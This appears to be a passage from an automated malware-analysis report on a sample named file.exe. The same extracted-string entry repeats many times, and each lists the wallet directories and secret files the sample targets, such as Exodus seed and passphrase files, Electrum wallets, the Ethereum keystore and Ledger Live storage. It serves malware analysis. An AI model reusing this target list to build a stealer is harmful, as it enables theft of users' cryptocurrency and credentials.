Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2700782592.0000000000B67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx 